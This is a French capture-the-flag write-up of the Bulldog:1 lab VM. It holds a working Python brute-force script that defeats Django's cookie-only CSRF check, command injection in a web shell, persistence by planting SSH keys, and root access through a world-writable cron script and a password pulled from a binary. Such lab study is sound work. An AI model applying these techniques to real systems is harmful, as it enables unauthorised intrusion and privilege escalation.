Enfin on trouve un lien vers un web shell mais ce dernier nous répond "Please authenticate with the server to use Web-Shell".
Après avoir essayé de passer quelques noms de paramètres évidents (username, user, login, etc) force est de constater que ce n'est pas par là qu'il faut passer.

Sous /admin/, l'autre URL trouvée, une mire de login marquée Django nous fait de l’œil.
Django based login page

On remarque dans le code HTML que le formulaire a un champ anti Cross Site Request Forgery mais après plusieurs essais avec les developer tools ouvertes on voit bien que la valeur du champ ne change pas du moment que la session est ouverte.
Pire : il semble que le token anti-CSRF est juste conservé comme cookie et que le formulaire compare uniquement la valeur passée par formulaire avec la valeur passée par cookie (pas de stockage côté serveur donc).

Let me in

Il suffit alors d'écrire un petit outil de force brute qui spécifie pour chaque tentative de login un cookie et un champ anti-csrf identique (ici forcé à "lol").
import requests
from bs4 import BeautifulSoup

users = set()
with open("users.txt") as fd:
    for line in fd:
        user = line.strip()
        if user:
            users.add(user.lower())


sess = requests.session()

for user in sorted(users):
    print("Trying user {}".format(user))

    with open("passlist.txt") as fd:
        for line in fd:
            password = line.strip()
            if not password:
                continue

            response = sess.post(
                    "http://192.168.3.190/admin/login/", 
                    data={
                        "username": user,
                        "password": password,
                        "csrfmiddlewaretoken": "lol"
                    },
                    headers={"Cookie": "csrftoken=lol"}
            )

            if "Please enter the correct username and password for a staff account." not in response.text:
                print("Found creds {} / {}".format(user, password))
                sess = requests.session()
On lui donne notre liste de logins potentiels basés sur les noms trouvés dans /dev/ ainsi qu'une liste de passwords potentiels (mots de passes classiques + les logins + le nom de la société).

On trouve rapidement un compte faillible.
Trying user alan
Trying user alan brooke
Trying user alan.brooke
Trying user ashley
Trying user brooke
Trying user churchy
Trying user kevin
Trying user malik
Trying user nick
Found creds nick / bulldog
Trying user sarah
Trying user william
Trying user winston
Trying user winston churchy
Trying user winston.churchy
Une fois les credentials utilisés sur /admin/ (qui ne fournit rien d'intéressant) on retourne sur /dev/ et le web-shell.
Force est de constater que celui-ci réutilise la session de l'interface d'administration.

Command injection on Bulldog:1 CTF web-shell

On a affaire à une classique faille d'injection de commande. J'ai utilisé les backticks mais on peut parier que d'autres techniques fonctionnent.

On a les privilèges de l'utilisateur django et un SSH est accessible... Il faut pas chercher longtemps avant de rajouter notre clé publique SSH dans le fichier /home/django/.ssh/authorized_keys via la commande echo.

G0t r00t?

Une fois le shell récupéré on part à la recherche du fameux antivirus qui tourne toutes les minutes.
django@bulldog:~/bulldog$ ls /etc/cron.d
mdadm  popularity-contest  runAV
django@bulldog:~/bulldog$ cat /etc/cron.d/runAV
*/1 * * * * root /.hiddenAVDirectory/AVApplication.py
django@bulldog:~/bulldog$ cat /.hiddenAVDirectory/AVApplication.py
#!/usr/bin/env python

# Just wanted to throw this placeholder here really quick.
# We will put the full AV here when the vendor is done making it.
# - Alan
django@bulldog:~/bulldog$ ls -al /.hiddenAVDirectory/AVApplication.py
-rwxrwxrwx 1 root root 157 Aug 25 22:12 /.hiddenAVDirectory/AVApplication.py
Hahaha la bonne blague, un fichier world-writable lancé par root :p
Il y a bien des manières de récupérer l'accès root via l'édition du fichier mais j'ai opté pour la copie du authorized_keys de django vers root.
#!/usr/bin/env python

# Just wanted to throw this placeholder here really quick.
# We will put the full AV here when the vendor is done making it.
# - Alan
import os
if not os.path.exists("/root/.ssh"):
        os.system("mkdir /root/.ssh")
        os.system("cp /home/django/.ssh/authorized_keys /root/.ssh/")
J'aurais pu utiliser + de la lib standard de Python mais j'ai eu la flemme de regarder dans la doc si os.mkdir prend des permissions à la chmod ou à la umask :D donc os.system FTW !

Il ne nous reste que le fameux flag :
root@bulldog:~# cat congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

As far as I know there are two ways to get root. Can you find the other one?

Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!

Nota bene

Je n'ai pas croisé de Mongo ni dans les ports en écoute ni dans les process donc je ne suis pas allé plus loin de ce côté. Quand à l'interface d'admin utilisant Django les droits des utilisateurs sont stockés via une base sqlite3. Une fois éditée pour rajouter nick en admin on voit que l'interface ne propose rien de plus que la gestion des utilisateurs (donc useless).
Je n'ai pas fouillé plus loin pour la seconde façon de passer root, si jamais je la croise je mettrais l'article à jour.

Edit -- fin alternative

Une fois l'accès au compte django obtenu on voit que l'on peut fouiller dans les fichiers de l'utilisateur bulldogadmin :
django@bulldog:~$ ls /home/bulldogadmin/ -al
total 44
drwxr-xr-x 5 bulldogadmin bulldogadmin 4096 Oct 19 11:04 .
drwxr-xr-x 4 root         root         4096 Aug 24 18:16 ..
-rw-r--r-- 1 bulldogadmin bulldogadmin  220 Aug 24 17:39 .bash_logout
-rw-r--r-- 1 bulldogadmin bulldogadmin 3771 Aug 24 17:39 .bashrc
drwx------ 2 bulldogadmin bulldogadmin 4096 Aug 24 17:40 .cache
drwxrwxr-x 2 bulldogadmin bulldogadmin 4096 Sep 20 19:44 .hiddenadmindirectory
drwxrwxr-x 2 bulldogadmin bulldogadmin 4096 Aug 24 22:18 .nano
-rw-r--r-- 1 bulldogadmin bulldogadmin  655 Aug 24 17:39 .profile
-rw-rw-r-- 1 bulldogadmin bulldogadmin   66 Aug 24 22:18 .selected_editor
-rw-r--r-- 1 bulldogadmin bulldogadmin    0 Aug 24 17:45 .sudo_as_admin_successful
-rw-rw-r-- 1 bulldogadmin bulldogadmin  217 Aug 24 18:20 .wget-hsts
Dans le dossier caché .hiddenadmindirectory on trouve un fichier texte ainsi qu'un binaire ELF 64 bits non-strippé.

Le contenu du fichier texte est le suivant :
Nick,

I'm working on the backend permission stuff. Listen, it's super prototype but I think it's going to work out great. Literally run the app, give your account password, and it will determine if you should have access to that file or not!

It's great stuff! Once I'm finished with it, a hacker wouldn't even be able to reverse it! Keep in mind that it's still a prototype right now. I am about to get it working with the Django user account. I'm not sure how I'll implement it for the others. Maybe the webserver is the only one who needs to have root access sometimes?

Let me know what you think of it!

-Ashley
Quand à l'exécutable customPermissionApp il n'a pas de droits d'exécution pour qui que ce soit donc il ne faut pas chercher à l'exploiter mais peut être contient-il un secret quelconque... Un strings nous donne quelques éléments :
--- snip ---
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
        Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
--- snip ---
L'auteur du code comptait vraisemblablement que l'utilisateur à qui est destiné le programme (django d'après les notes) n'ait pas à rentrer lui-même son mot de passe lorsque la commande sudo su root est lancée et a donc placé un mot de passe dans le code probablement pour une future version.
Le mot de passe en question est SUPERultimatePASSWORDyouCANTget. Il faut retirer les caractères H (0x48) qui correspondent en réalité à l'opcode de l'instruction assembleur mov :
0x004005fc      e88ffeffff     call sym.imp.puts           ; int puts(const char *s)
0x00400601      bf69074000     mov edi, str.sudo_su_root   ; 0x400769 ; "sudo su root"
0x00400606      e8a5feffff     call sym.imp.system         ; int system(const char *string)
0x0040060b      48b853555045.  movabs rax, 0x746c755245505553
0x00400615      48894590       mov qword [local_70h], rax
0x00400619      48b8696d6174.  movabs rax, 0x5341506574616d69
0x00400623      48894598       mov qword [local_68h], rax
0x00400627      48b853574f52.  movabs rax, 0x756f7944524f5753
0x00400631      488945a0       mov qword [local_60h], rax
0x00400635      48b843414e54.  movabs rax, 0x746567544e4143
0x0040063f      488945a8       mov qword [local_58h], rax
Il suffit alors d'appeler sudo et de saisir le mot de passe :
django@bulldog:~$ sudo id
[sudo] password for django:
uid=0(root) gid=0(root) groups=0(root)

Classé dans : Non classé - Mots clés : aucun